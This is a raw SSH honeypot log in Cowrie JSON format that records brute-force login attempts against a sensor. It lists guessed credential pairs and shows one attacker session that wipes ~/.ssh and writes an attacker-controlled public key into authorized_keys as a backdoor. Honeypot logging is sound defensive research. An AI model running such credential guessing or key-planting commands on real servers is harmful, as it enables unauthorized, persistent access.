{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:22.404895Z","src_ip":"68.233.116.124","session":"62c8b531f509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:22.620558Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:22.625348Z","src_ip":"68.233.116.124","session":"62c8b531f509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:23.111038Z","src_ip":"68.183.236.1","session":"b96d57ad3edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.439949Z","src_ip":"68.183.236.1","session":"b96d57ad3edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":41492,"dst_ip":"159.203.135.109","dst_port":22,"session":"bba47922d072","protocol":"ssh","message":"New connection: 136.248.247.188:41492 (159.203.135.109:22) [session: bba47922d072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.586880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.591241Z","src_ip":"136.248.247.188","session":"bba47922d072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60156,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf82f9598097","protocol":"ssh","message":"New connection: 68.183.236.1:60156 (159.203.135.109:22) [session: bf82f9598097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.681671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.685810Z","src_ip":"68.183.236.1","session":"bf82f9598097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.733450Z","src_ip":"136.248.247.188","session":"bba47922d072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:24.930567Z","src_ip":"68.183.236.1","session":"bf82f9598097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:25.336651Z","src_ip":"136.248.247.188","session":"bba47922d072","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:25.944355Z","src_ip":"68.183.236.1","session":"bf82f9598097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:26.190794Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:26.194656Z","src_ip":"68.183.236.1","session":"bf82f9598097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:26.481671Z","src_ip":"136.248.247.188","session":"bba47922d072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":34454,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd51c4c1f3e","protocol":"ssh","message":"New connection: 163.7.6.74:34454 (10.17.0.5:22) [session: 5bd51c4c1f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:54.754951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:54.759324Z","src_ip":"163.7.6.74","session":"5bd51c4c1f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:55.016252Z","src_ip":"163.7.6.74","session":"5bd51c4c1f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"personal","password":"password","message":"login attempt [personal/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:56.075456Z","src_ip":"163.7.6.74","session":"5bd51c4c1f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:57.335498Z","src_ip":"163.7.6.74","session":"5bd51c4c1f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":60816,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f6f8e1519e","protocol":"ssh","message":"New connection: 138.99.80.102:60816 (159.203.135.109:22) [session: a3f6f8e1519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:22.296951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:22.300943Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:22.406840Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:22.862141Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.115419Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.118166Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.120983Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.229016Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.479568Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.483574Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.593999Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.598231Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":60830,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6b4ac2ce119","protocol":"ssh","message":"New connection: 138.99.80.102:60830 (159.203.135.109:22) [session: d6b4ac2ce119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.699995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.703645Z","src_ip":"138.99.80.102","session":"d6b4ac2ce119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.811523Z","src_ip":"138.99.80.102","session":"d6b4ac2ce119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":45530,"dst_ip":"159.203.135.109","dst_port":22,"session":"d81fa17f522d","protocol":"ssh","message":"New connection: 93.71.118.99:45530 (159.203.135.109:22) [session: d81fa17f522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.981097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:23.986617Z","src_ip":"93.71.118.99","session":"d81fa17f522d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:24.124261Z","src_ip":"93.71.118.99","session":"d81fa17f522d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:24.273670Z","src_ip":"138.99.80.102","session":"d6b4ac2ce119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangjh","password":"password","message":"login attempt [zhangjh/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:24.938682Z","src_ip":"93.71.118.99","session":"d81fa17f522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:25.384471Z","src_ip":"138.99.80.102","session":"d6b4ac2ce119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":60832,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c19b3593fee","protocol":"ssh","message":"New connection: 138.99.80.102:60832 (159.203.135.109:22) [session: 6c19b3593fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:25.484728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:25.489112Z","src_ip":"138.99.80.102","session":"6c19b3593fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:25.594833Z","src_ip":"138.99.80.102","session":"6c19b3593fee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:26.049726Z","src_ip":"138.99.80.102","session":"6c19b3593fee","protocol":"ssh"}
